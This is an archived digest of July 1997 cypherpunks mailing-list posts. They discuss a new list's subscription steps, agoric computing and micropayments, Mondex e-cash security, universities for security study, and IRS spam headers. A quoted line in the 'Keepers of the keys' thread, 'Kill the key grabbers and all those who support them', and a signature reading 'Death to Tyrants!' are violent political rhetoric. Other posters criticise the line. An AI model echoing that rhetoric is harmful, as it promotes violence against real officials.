hXp77C3Jlq4hB3O86eyZpvsl3JhUiCLMQwCAhLrWBSmXjsAj10hbz131Vhzj1Rdi
+uwRlAutImwVnETuwaEbLZ1GaH3s7CkXMbs1d6AXC00+UfRtZCuTcw==
=Nf3k
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Sun, 20 Jul 1997 21:54:41 +0800
To: cypherpunks@cyberpass.net
Subject: New Cypher ListServ  (part 2)    **REVISED**
Message-ID: <199707201316.GAA16122@f10.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



The Cryptography-Politics-PGP-L ListServ is in operation.(We just 
finished up with the majordomo scripts and the like). Here is what you 
need to do to join.  BTW, this list is a digested list. Please do not 
freak if things do not go right straight from the get go. I hope to have 
this as painless as possible, yet we all know that Murphy wrote Murphy's 
Law just for this instance. Please bear with me. Once again, ANY 
suggestions, short of flames, will be listened to 100%!
Now for the nitty gritty.


SUBSCRIBE/UNSUBSCRIBE TO Cryptography-Politics-PGP-L
=====================================================
Subscribing
-----------
To subscribe, send the message 

     subscribe Cryptography-Politics-PGP-L

to majordomo@cyberspacetechnologies.com 


Unsubscribing
-------------
To unsubscribe, send the message 

     unsubscribe Cryptography-Politics-PGP-L

to majordomo@cyberspacetechnologies.com 


Posting
-------
Messages sent to Cryptography-Politics-PGP-L@cyberspacetechnologies.com
will be posted to the entire list.

Digests
-------
When subscribed, send message to majordomo@Cyberspacetechnologies.com 
with   get Cryptography-Politics-PGP-L-digest  as the message body.



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 20 Jul 1997 20:23:30 +0800
To: cypherpunks@toad.com
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <97Jul19.201054edt.32257@brickwall.ceddec.com>
Message-ID: <v0311071daff7a277f62e@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:52 am -0400 on 7/20/97, sar wrote:

Just to be clear, when I talk about geodesic software, I'm not talking
about linux, as much as I like the idea of linux personally. In fact, if
the Mac ever dies, I'll probably end up on linux someday. Certainly, once
you put any machine on the internet, its software becomes more geodesic
than it was sitting on a desktop or in a rack, and, for the sake of
argument, I'm willing to agree that because of increasing availablity of
cool free net.stuff in linux, it may more geodesic than Microsoft or Apple
operating systems.

I could be wrong, but the cycle from not having what you need to do
something new, to installing it and running it, is too slow for modern
operating systems like linux to call them geodesic software in the sense
that I was using the phrase. Java the brand-name claims to do this in
"market"space, but Java as running software ain't there yet in cyberspace,
and may never be.

I'm beginning to think that until it's possible for a given processor to
autonomously buy the software it needs for cash in an auction market, and
then download and install that software, all at run time, the
superscalibility of an environment where software is dispersed through the
network (again, "surfacted" is not a bad word to describe this), and run in
the smallest possible bits at the processor level just won't happen.

Nonetheless, I do think that the linux gang is going in the right
direction, especially since most most of the cash-settlement technology we
on this list have all come to know and love is more likely to be used in
linux than anywhere else.


Finally, there's the issue of Mhyrvold's software-as-a-gas idea. That is,
that bloatware is a direct result of Moore's Law. Or, more properly,
Parkinson's Law of bureaucracy ("an organization will expand to fit it's
available resources") come to microprocessing.

In an absolute sense, of course, more processing power is more software
waste. My Mac wastes more cycles than I can physically count in a lifetime
waiting for my next keystroke, and, after more than half a lifetime at the
keyboard, I am a pretty fast typist.

 However, at some point, I think that the added "waste" of profit-and-loss
responsibility at the processor level, effectively a cash-settled auction
market for cycle-time, will yield much more efficiency in allocating
processor time than piling on yet another feature and compiling it in with
the rest of some vertically integrated application behemouth. Waiting for
everybody else's requested features to creep by before the application can
let us have the one we need to use will be a thing of the past when that
happens.

Cheers,
Bob Hettinga





-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 20 Jul 1997 14:26:36 +0800
To: cypherpunks@toad.com
Subject: Re: Something of Interest (fwd)
Message-ID: <199707200618.IAA02780@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Alan wrote:
> >>>Is it just me, or does anyone else remember a similar message being pumped
> >>>out about the same time Bell was raided (April 1).

> I found the actual article.  It was forwarded to the list by someone.
> (Maybe Igor?)  The headers are interesting.  I have the full header set if
> anyone is interested...
> 
> This post did not seem to get posted to the list, but only as a forward... 

  It is my recollection that Igor filters the incoming files that use
a blind cc: to cypherpunks@(anylist).com and checks to see if they
are spam with cc:'s to a thousand email addresses or are meant for
the cypherpunks list in specific.
  If they are not just random spam, then Igor forwards them to the
list subscribers, which accounts for the headers showing the post
as a forward rather than as sent directly to the list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@MIT.EDU>
Date: Sun, 20 Jul 1997 22:00:38 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Cypherpunk U
Message-ID: <199707201355.JAA22844@sundial.MIT.EDU>
MIME-Version: 1.0
Content-Type: text/plain



I think any of the schools which have been mentioned are great for
undergrad.  After being at MIT for a while (and now being eited
by financial reasons, hopefully to be resolved before fall...), I
learned to really appreciate the research programs offered by
some universities to undergrads -- MIT has a really good program
in that area, I'm not sure about the others.  I think if there were
one thing which I used to pick an undergrad school again, it would be
the potential to get involved in faculty research.  At MIT, the
media lab does a fair amount of applied cryptology, and there is
of course the theoretical computing lab which does a lot of
application and theory.

It's not that hard to get in, either.  After all, I got in.  There are
a few useful tricks for your application -- email me if you'd like help.

One of the big annoying parts of going to MIT is that firearms are
banned from college campuses (except at ranges) in the state.  Sigh.

---
Ryan Lackey
rdl@mit.edu						3 Ames St
http://mit.edu/rdl/www/					Cambridge, MA 02142





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 20 Jul 1997 23:11:10 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Will Monolithic Apps Dominate? (fwd)
Message-ID: <199707201456.JAA08917@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 20 Jul 1997 08:03:09 -0400
> From: Robert Hettinga <rah@shipwright.com>
> Subject: Re: Will Monolithic Apps Dominate?

> I'm beginning to think that until it's possible for a given processor to
> autonomously buy the software it needs for cash in an auction market, and
> then download and install that software, all at run time, the
> superscalibility of an environment where software is dispersed through the
> network (again, "surfacted" is not a bad word to describe this), and run in
> the smallest possible bits at the processor level just won't happen.
> 
> Nonetheless, I do think that the linux gang is going in the right
> direction, especially since most most of the cash-settlement technology we
> on this list have all come to know and love is more likely to be used in
> linux than anywhere else.

You should look into Plan 9 with purchasing extensions to its job-processor
scheduling scheme. This would allow several interesting features:

 -   anonymous execution of jobs

     The person scheduling the job would have no idea exactly where the
     job was running, only that it was at the time the least expensive
     alternative available.

 -   anonymous processor selection

     The person owning the machine would not know where all the processes
     currently running come from since it would not be possible to turn
     the execution key into an actual machine address.

 -   automatic and anonymous software selection

     Jobs don't need to have the required software or even where it might
     be located. The job would need to understand the catalog scheme in
     place to locate the software (think of a library card system).

Since the OS already bids for processor space it would not require a
major architecture mod to include E$/crypto functions.

> Finally, there's the issue of Mhyrvold's software-as-a-gas idea. That is,
> that bloatware is a direct result of Moore's Law.

I have to disagree. Bloatware comes from the way we look at software
(ie generalize & modularize it) and the way we impliment it (ie libraries).
While it makes the programmers job easier it makes the amount of software
required for the job larger that required because the libraries have
functions and features that aren't used (in this product). Bloatware won't
be fixed unless we (ugh) go back to monolithic project design with most
code custom built with little re-use from previous versions. I suspect it is
easier to buy another 4M of RAM than to pay the programmers to re-create the
wheel each time a new version comes out.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 20 Jul 1997 23:14:07 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: New Cypher ListServ  (part 2)    **REVISED** (fwd)
Message-ID: <199707201458.JAA08952@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "David Downey" <digital_matrix@hotmail.com>
> Subject: New Cypher ListServ  (part 2)    **REVISED**
> Date: Sun, 20 Jul 1997 06:16:19 PDT

> The Cryptography-Politics-PGP-L ListServ is in operation.(We just 
> finished up with the majordomo scripts and the like). Here is what you 
> need to do to join.  BTW, this list is a digested list. Please do not 
> freak if things do not go right straight from the get go. I hope to have 
> this as painless as possible, yet we all know that Murphy wrote Murphy's 
> Law just for this instance. Please bear with me. Once again, ANY 
> suggestions, short of flames, will be listened to 100%!
> Now for the nitty gritty.

Is this a new CDR node or is this a new indipendant mailing list?

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 21 Jul 1997 01:19:48 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: CDR Traffic & IRC
Message-ID: <199707201702.MAA09092@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

I have obtained a Sparc ELC (4/25) w/ 24M of RAM and 200M of disk space
under Solaris 1.1.2 (SunOS 4.1.4). I will be installing the gcc suite from
the O'Reilly "Programming with GNU software" since this is a supported
OS. I intend to set it up as a small public access irc server. I was
wondering if anyone had suggestions on such hardware and what to use.

The crypto relevance is that I was thinking of having a #cdr channel which
would receive traffic from the regular mailing list. In other words when a
user joins #cdr they could use the normal irc functions but a bot would be
receiving the mailing list traffic as it arrives and sending it out. I am
not proposing to send the #cdr traffic to the mailing list. It would be
one way only. Though a bot function to forward mail on a per request basis
might be implimented if some suitable abuse avoidance mechanism could be
worked out.

Any other crypto relevant suggestions on this topic welcome.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 21 Jul 1997 04:48:22 +0800
To: cypherpunks@Algebra.COM
Subject: Objects, Auctions, and Digital Money
In-Reply-To: <199707201456.JAA08917@einstein.ssz.com>
Message-ID: <v03102817aff821c2a3b5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:58 AM -0700 7/20/97, Robert Hettinga wrote:

>The idea of micromoney as processor food, I think, gets us a way to pay for
>the adaptive evolution with the same, or better, results than we'd get by
>top-down monolithic project design.
>

A husband-wife programming team just spent the last day or so at my place,
filling me in on their recent successes with their "agent-oriented
database" for financial trading. Unlike a lot of the hype about agents, in
books and in press releases, they've used their system for data mining of
financials, and have made a _lot_ of money with it. (They are not the folks
at The Prediction Company, in case anyone is wondering. Nor are they the
D.E. Shaw group. I can't say more right now, as the stakes and pool they
are running are up in the $10M range, and they hope/expect this to soon get
a lot larger. This could turn out to be one of the seminal applications of
this set of interrelated ideas.)

Bidding of agents is an important part of this approach. (Allocation of
resources, "putting their money where their mouth is," genetic programming,
evolutionary learning, data mining, neural nets, and all the other major
buzzwords. Their agents are somewhat "agnostic" about any particular
approach and they "use it if it works, otherwise kill it." The Koza-style
genetic programming top layer then makes use of the various buzzword
paradigms at lower levels, e.g., using time-series analysis for parts,
neural nets for other parts, forward-propagation for other parts, etc.)

The "agoric computation" work of Miller, Drexler, Tribble, Huberman and
others is relevant. (Huberman edited a book, circa 1987-8, "The Ecology of
Computation," which contains several of the important papers. The Miller
and Drexler papers are the ones to focus on.)

The "Digital Silk Road" work of our own Norm Hardy (and either Dean Tribble
or Mark Miller, I forget which right now) is highly relevant.

Some of this work is already being used to "market allocate" CPU cycles in
distributed systems. Sort of analogous to the "distributed crack" work
(except the distributed crack work is a winner take all approach, not
counting the confused situation with the DESCHALL crack recently). In
computational models where the prize is not so obvious, as in most routine
calculations in business, a market allocation model better uses
computational resources.

Selling spare CPU cycles is another related idea. Several Cypherpunks have
ideas along these lines.

Coincidentally, my last major project for Intel involved developing a
scheme for better automating and streamlining wafer production by having
wafer "runs" (manufacturing lots) bid for access to scarce resources. I
think I was strongly influenced by thinking about how wafer runs could be
seen as "objects" carring their own local state--the complicated time
history of the treatments they had received in the fabs, and test results,
etc.--and how traditional wafer lot tracking systems failed to
intelligently use any of this information. This "Frame-Based Manufacturing
System," using the work on frames with slots contained triggered methods
(daemons), would have essentially put an economic, agoric layer on what is
now mostly a human-run bureaucratic layer. (With various departments and
groups clamoring for access to equipment, rather than an auction approach.)

My environment at that time was a Symbolics 3670 LISP machine, with a user
interface/GUI of unparalleled elegance and power. And KEE, the Knowledge
Enngineering Environment, from Intellicorp.

I left Intel in '86, and the project limped along for another couple of
years. Miller and Drexler visited my group in '87, after I was gone, and
the work on using auction methods in wafer fabs entered into their
thinking, as they later told me.

(Intel did not deploy my vision. I can guess some of the reasons. Last I
heard, they're still struggling to adapt conventional relational data bases
for tracking wafer runs, but are not integrating in the vast amounts of
(expensive) knowledge in any meaningful way.)

These ideas are all part of a larger mosaic (TM, the Netscape Corporation)
of ideas involving collective computation, intelligent agents,
object-oriented data bases, "seas of objects" (a la Gelernter's "Linda"
system), auction markets, price discovery, and AI in general.

It's sad that so much of Cypherpunks coding has, perforce, been "stalled"
at the level of implementing mundane ciphers and showing weaknesses in
ciphers known 20 years ago to be weak.

The really neat stuff is taking a long time to percolate out.

--Tim May






There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: @_
Date: Mon, 21 Jul 1997 01:56:29 +0800
To: <cypherpunks@toad.com>
Subject: MLM Still Giving You the Shaft?
Message-ID: <199707200849.NAA24466@godzilla.wavegate.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 21 Jul 1997 02:51:00 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: HISTORY - pre-CDA, "compromise", untrue civil-liberties groups
In-Reply-To: <19970719072518.07383@bywater.songbird.com>
Message-ID: <Pine.GSO.3.95.970720143259.20201A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent,

Yours is an interesting response. But what if one has no principles, just
strategy and tactics?

If you don't know what your principles are -- if you can't identify them
and speak to them -- then you have no business being an advocate.

    "I have been a selfish being all my life, in practice, though
     not in principle." --Jane Austen

-Declan



On Sat, 19 Jul 1997, Kent Crispin wrote:

> On Fri, Jul 18, 1997 at 07:19:31PM -0700, Declan McCullagh wrote:
> [...]
> > This goes back to the original debate: pragmatism vs. principle. How do
> > you stand on principle and remain an effective advocate in Washington? If
> > you navigate the route of pragmatism and compromise, what does that mean
> > for civil liberties? Can you avoid compromising them away?
> 
> A quote you may find interesting:
> 
> "The debate between compromise and principle is a false debate, 
> because principle doesn't speak, it acts.  People don't compromise 
> their principles -- they simply mis-identify them."
> 
> -- 
> Kent Crispin				"No reason to get excited",
> kent@songbird.com			the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 21 Jul 1997 02:57:50 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <Pine.GSO.3.95.970720144755.20201C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



"Patriotism is the last refuge of a scoundrel." --Samuel Johnson

Often those who speak of patriotism wield the term as a thunderbolt to
head off criticism of their plans. "It is unpatriotic to oppose the
CDA, mandatory key escrow." It is indeed the last refuge of a scoundrel
when used as an excuse to violate civil liberties.

I suspect that's not what Tim was doing below.

-Declan



On Sat, 19 Jul 1997, Kent Crispin wrote:

> On Fri, Jul 18, 1997 at 10:10:37PM -0700, Tim May wrote:
> [usual rant deleted]
> > 
> > Kill the key grabbers and all those who support them. Isn't it exactly what
> > Patrick Henry, Thomas Jefferson, and the others would have argued?
> 
> Amazing.  Patriotism -- the last refuge of the scoundrel.
> 
> However, Patric Henry said something like "Give me liberty or give me
> death." That is really very different from "Kill everyone who opposes
> me and all their supporters." Tim doesn't seem to understand this
> nuance. 
> 
> -- 
> Kent Crispin				"No reason to get excited",
> kent@songbird.com			the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 21 Jul 1997 02:59:22 +0800
To: Tim May <tcmay@got.net>
Subject: Re: IRS sending warning notes, violating ECPA?
In-Reply-To: <v03102810aff69260ceb1@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970720145056.20201D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Of course, the P.Dilemma is a particularly academic invention. In real
situations, the prisoners probably know each other and know of each
other's reputation capital. They may be known not to squeal, for instance,
which is why they chose to commit the crime together. And confessing might
have other repercussions later on in life...

-Declan


On Sat, 19 Jul 1997, Tim May wrote:
 
> On the other hand, the relevance to Prisoner's Dilemma games is pretty obvious:
> 
> "Mr. Bell, if you confess and plead guilty, you'll receive a one-year
> prison term. If you don't confess, when we find you guilty you'll receive
> the maximum term. If you confess but Mr. May _also_ confesses, you'll still
> receive the maximum term. If neither of you confesses, you'll still be
> found guilty. So, what'll it be?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 21 Jul 1997 04:01:06 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Will Monolithic Apps Dominate? (fwd)
In-Reply-To: <199707201456.JAA08917@einstein.ssz.com>
Message-ID: <v03110702aff80c49ac56@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:56 am -0400 on 7/20/97, Jim Choate wrote:


> You should look into Plan 9

<snip>

> Since the OS already bids for processor space it would not require a
> major architecture mod to include E$/crypto functions.

Yeah. I've seen demos of what I think was plan 9, actually it's
successor(?). Both of them were Bell (now Lucent) efforts, right?

Certainly, it looks like it was a step in the right direction, if it works
as advertised.


>
> > Finally, there's the issue of Mhyrvold's software-as-a-gas idea. That is,
> > that bloatware is a direct result of Moore's Law.
>
> I have to disagree. Bloatware comes from the way we look at software
> (ie generalize & modularize it) and the way we impliment it (ie libraries).
> While it makes the programmers job easier it makes the amount of software
> required for the job larger that required because the libraries have
> functions and features that aren't used (in this product). Bloatware won't
> be fixed unless we (ugh) go back to monolithic project design with most
> code custom built with little re-use from previous versions. I suspect it is
> easier to buy another 4M of RAM than to pay the programmers to re-create the
> wheel each time a new version comes out.

No, but I bet that if there was a profit-loss feedback loop at the lowest
possible level of the, what?, solution (do we call a group of autonomous
cooperating bits of code an application?) then, at some point in the
development of a cash settlement mechanism, the benefits of efficiency
would far outweigh the extra cost of cash handling.

The idea of micromoney as processor food, I think, gets us a way to pay for
the adaptive evolution with the same, or better, results than we'd get by
top-down monolithic project design.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Mon, 21 Jul 1997 07:28:50 +0800
To: declan@well.com
Subject: Re: Keepers of the keys
In-Reply-To: <Pine.GSO.3.95.970720144755.20201C-100000@cp.pathfinder.com>
Message-ID: <Pine.LNX.3.95.970720161827.9956A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 20 Jul 1997, Declan McCullagh wrote:

> "Patriotism is the last refuge of a scoundrel." --Samuel Johnson

Patriotism is the *FIRST* refuge of a scoundrel.  (The second is prayer.)

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Janzen <janzen@idacom.hp.com>
Date: Mon, 21 Jul 1997 08:02:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: mondex
Message-ID: <9707202357.AA17060@sabel.idacom.hp.com>
MIME-Version: 1.0
Content-Type: text/plain




Ryan Lackey wrote:
>Does anyone know how open the Mondex architecture is?  Is it in any way
>possible to set up a competing system with your own card manufacture
>and issuing bodies for currencies which can be used in deployed Mondex
>POS terminals without too much hassle?
>[...]

Wesley Felter <wesf@mail.utexas.edu> wrote:
>As I understand it, Mondex is a completely closed system. Everything that
>you don't absolutely need to know is undocumented. Since you can settle
>offline, the potential for fraud is frightening; unless I'm getting the
>benefit of these, um, weaknesses in the system, I don't want there to be
>any. The lack of privacy seems to be somewhat of a smokescreen; since you
>can settle offline, they don't have a really accurate way of tracking
>transactions except at the interface between e$ and other forms of money
>or goods (like their POS terminals and ATMs).
>
>Can you hack Mondex? They say you can't...


David Jones,a computer science professor at McMaster University and
president of Electronic Frontier Canada, has written an interesting
article on the subject of Mondex security:

>Here's my latest article published online in "The Convergence".
>Please visit the web page version because it has lots of hyperlinks
>to related documents, including some never before published on the Net
>(e.g., Australian bank report on Mondex security)
>
>        http://theconvergence.com/columns/djones/07121997/

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

                Mondex: A House of Smart-Cards?

  With e-cash, privacy is illusory and security is questionable


by David Jones


Mondex International has already conceded that its electronic
'cash' isn't really as private as they once claimed.  Now critics
are questioning whether their security is all it's cracked up to be.
If crooks managed to create counterfeit cyber-cash, and if Mondex
failed to detect it quickly enough, the deposits backing up the
electronic currency could be drained dry, leaving customers out
of pocket -- unable to redeem the 'value' on their cards.
Do participating banks have any contingency plans for what
Mondex calls its 'meltdown scenario'?

[...]

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


--
Martin Janzen           janzen@idacom.hp.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 21 Jul 1997 08:21:56 +0800
To: cypherpunks@toad.com
Subject: Re: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <19970720170513.43286@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jul 20, 1997 at 02:48:20PM -0400, Declan McCullagh wrote:
> "Patriotism is the last refuge of a scoundrel." --Samuel Johnson
> 
> Often those who speak of patriotism wield the term as a thunderbolt to
> head off criticism of their plans. "It is unpatriotic to oppose the
> CDA, mandatory key escrow." It is indeed the last refuge of a scoundrel
> when used as an excuse to violate civil liberties.
> 
> I suspect that's not what Tim was doing below.

That is *exactly* what Tim is doing.  He is wrapping himself in the
flag and shouting about how he has the one true vision of what the 
hallowed founding fathers thought:

>>> Kill the key grabbers and all those who support them. Isn't it exactly what
>>> Patrick Henry, Thomas Jefferson, and the others would have argued?

Pardon my patriotic tears...

Can there be any doubt at all? It's obviously old cheap rhetoric
through and through, not even Bill Clinton at his worst could match
it.  Of course, the true believers chorus "Yea, verily", and are
impressed by the fire and brimstone; and the anon crowd always chimes
in after a respectful delay... 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Mon, 21 Jul 1997 06:09:40 +0800
To: cypherpunks@ssz.com
Subject: Re: Cypherpunk U
In-Reply-To: <v03102815aff6f510fe24@[207.167.93.63]>
Message-ID: <0nocet200YUg0JQlU0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> At 2:17 PM -0700 7/19/97, Nick West wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >What are some of the better colleges/universities to study
> >Computer/Network security at? I know MIT is a good one. Any others
> >that aren't quite so hard to get in to that still offer quality
> >programs?
> 
> Do you mean for grad school, or for undergrad work?
> 
> If the former, look for where the papers that interest you are coming from.
> That is, whom do you want to work with? UC Berkeley is obviously doing
> interesting work, Purude has some well known folks, and Carnegie-Mellon is
> in the home city of CERT (maybe not a recommendation...). And Stanford is
> always a hotbed. At least a dozen other places are doing fine work.
> 
> If for undergrad work, you of course won't have any exposure to speak of in
> these areas, save for one or two courses. Maybe.

CMU does lots of real world crypto stuff, mostly centering around
Kerberos. There's some good theory here, too. In addition, NetBill
(book-entry bastards) does some crypto. If you were interested in
working one of those projects, you could easily do so as an undergrad.
There's also one "number theory" class which is basically crypto 101.
As for grad work, if you're interested in number theory and such, you
could do well here. Otherwise, you might consider somewhere else.

Allumnusly yours,
Jer

BTW, the administration here is a bunch of bloody facists.

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 21 Jul 1997 06:41:56 +0800
To: cypherpunks@toad.com
Subject: IRS Spam
Message-ID: <1.5.4.32.19970720222258.006eb734@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Here's the latest tally of IRS Inspection spam headers with
the number of recipients in parentheses: 6 directly, 4 via
3 lists so far.

IRS MESSAGE 1 -- Message-Id: <199707171625.MAA02707@net.insp.irs.gov>
(1)              Date: Thu, 17 Jul 1997 12:25:26 -0400

IRS MESSAGE 2 -- Message-Id: <199707171628.MAA02724@net.insp.irs.gov>
(1)              Date: Thu, 17 Jul 1997 12:28:11 -0400

IRS MESSAGE 3 -- Message-Id: <199707171629.MAA02733@net.insp.irs.gov>
(2)              Date: Thu, 17 Jul 1997 12:29:08 -0400

IRS MESSAGE 4 -- Message-Id: <199707171630.MAA02739@net.insp.irs.gov>
(3)              Date: Thu, 17 Jul 1997 12:30:03 -0400

IRS MESSAGE 5 -- Message-Id: <199707171631.MAA02749@net.insp.irs.gov>
(1)              Date: Thu, 17 Jul 1997 12:31:08 -0400

IRS MESSAGE 6 -- Message-Id: <199707171633.MAA02778@net.insp.irs.gov>
(2)              Date: Thu, 17 Jul 1997 12:33:43 -0400

Note that the date/time within the Id is four hours later than those
of the message, probably due to send box settings. Also, the 
first hop of all messages to Treasury's initial mail gate occurs 
18h:17m - 18h:18m after the date/time of the message (see full headers).

----------

Full headers at:

   http://jya.com/irs-headers.txt

The $.25m spam at:

   http://jya.com/irs-spam.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Mon, 21 Jul 1997 11:48:31 +0800
To: cypherpunks@Algebra.COM
Subject: Something of little importance
Message-ID: <Pine.LNX.3.95.970720204306.22443B-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



I was noticing that the bottom of the latest issue of Mad magazine (August
1997) in the cartoons in the margin, there is someone holding up a
newspaper that reads "UPC code broken".

"Crypto-noia strikes deep...  Into Mad it will creep..."

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Mon, 21 Jul 1997 13:32:31 +0800
To: cypherpunks@cyberpass.net
Subject: Re: New Cypher ListServ (part 1)
Message-ID: <199707210521.WAA21812@f27.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain





